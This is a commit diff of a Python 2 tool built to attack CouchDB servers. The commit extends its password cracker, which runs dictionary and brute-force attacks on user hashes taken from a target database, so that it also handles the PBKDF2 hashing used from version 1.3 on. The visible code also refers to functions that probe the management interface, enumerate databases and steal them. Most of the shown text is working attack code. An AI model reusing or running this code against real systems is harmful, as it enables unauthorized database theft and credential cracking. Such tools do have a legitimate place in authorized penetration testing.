19
19
import urllib
20
20
import requests
21
21
import sys
22
+ import unittest
23
+ from pbkdf2 import PBKDF2
24
+ from binascii import a2b_hex
22
25
import string
23
26
import itertools
24
27
from hashlib import sha1
@@ -113,7 +116,7 @@ def netAttacks(target,port, myIP):
113
116
return
114
117
115
118
116
- mgtUrl = "http://" + target + ":5984/"
119
+ mgtUrl = "http://" + target + ":5984/_utils "
117
120
#Future rev: Add web management interface parsing
118
121
try :
119
122
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
@@ -194,7 +197,7 @@ def enumDbs (couchConn,target):
194
197
crack = raw_input ("Crack this hash (y/n)? " )
195
198
196
199
if crack in yes_tag :
197
- passCrack (userNames [x ],userHashes [x ],userSalts [x ])
200
+ passCrack (userNames [x ],userHashes [x ],userSalts [x ], couchConn . version () )
198
201
199
202
200
203
return
@@ -242,7 +245,7 @@ def stealDBs (myDB, couchConn, target):
242
245
raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return..." )
243
246
return
244
247
245
- def passCrack (user , encPass , salt ):
248
+ def passCrack (user , encPass , salt , dbVer ):
246
249
select = True
247
250
print "Select password cracking method: "
248
251
print "1-Dictionary Attack"
@@ -254,11 +257,11 @@ def passCrack (user, encPass, salt):
254
257
255
258
if select == "1" :
256
259
select = False
257
- dict_pass (encPass ,salt )
260
+ dict_pass (encPass ,salt , dbVer )
258
261
259
262
elif select == "2" :
260
263
select = False
261
- brute_pass (encPass ,salt )
264
+ brute_pass (encPass ,salt , dbVer )
262
265
263
266
elif select == "3" :
264
267
return
@@ -267,7 +270,7 @@ def passCrack (user, encPass, salt):
267
270
def genBrute (chars , maxLen ):
268
271
return ('' .join (candidate ) for candidate in itertools .chain .from_iterable (itertools .product (chars , repeat = i ) for i in range (1 , maxLen + 1 )))
269
272
270
- def brute_pass (hashVal ,salt ):
273
+ def brute_pass (hashVal ,salt , dbVer ):
271
274
charSel = True
272
275
print "\n "
273
276
maxLen = raw_input ("Enter the maximum password length to attempt: " )
@@ -303,11 +306,17 @@ def brute_pass(hashVal,salt):
303
306
for attempt in genBrute (chainSet ,int (maxLen )):
304
307
print "\r Combinations tested: " + str (count ) + "\r "
305
308
count += 1
306
- if sha1 (attempt + salt ).hexdigest () == hashVal :
307
- print "Found - " + attempt
308
- return
309
+
310
+ #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
311
+ if float (dbVer [0 :3 ]) < 1.3 :
312
+ gotIt = gen_pass_couch (attempt ,salt ,hashVal )
313
+ else :
314
+ gotIt = gen_pass_couch13 (attempt , salt , 10 , hashVal )
315
+
316
+ if gotIt == True :
317
+ break
309
318
310
- def dict_pass (key ,salt ):
319
+ def dict_pass (key ,salt , dbVer ):
311
320
loadCheck = False
312
321
313
322
while loadCheck == False :
@@ -325,17 +334,31 @@ def dict_pass(key,salt):
325
334
326
335
for passGuess in passList :
327
336
temp = passGuess .split ("\n " )[0 ]
328
- gotIt = gen_pass_couch (temp ,salt ,key )
329
337
338
+ #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
339
+ if float (dbVer [0 :3 ]) < 1.3 :
340
+ gotIt = gen_pass_couch (temp ,salt ,key )
341
+ else :
342
+ gotIt = gen_pass_couch13 (temp , salt , 10 , key )
343
+
330
344
if gotIt == True :
331
345
break
332
346
333
347
return
334
348
335
349
def gen_pass_couch (passw , salt , hashVal ):
336
350
if sha1 (passw + salt ).hexdigest () == hashVal :
337
- print "Found - " + passw
351
+ print "Password Cracked - " + passw
338
352
return True
339
353
340
354
else :
341
- return False
355
+ return False
356
+
357
+ def gen_pass_couch13 (passw , salt , iterations , hashVal ):
358
+ result = PBKDF2 (passw ,salt ,iterations ).read (20 )
359
+ expected = a2b_hex (hashVal )
360
+ if result == expected :
361
+ print "Password Cracked- " + passw
362
+ return True
363
+ else :
364
+ return False
0 commit comments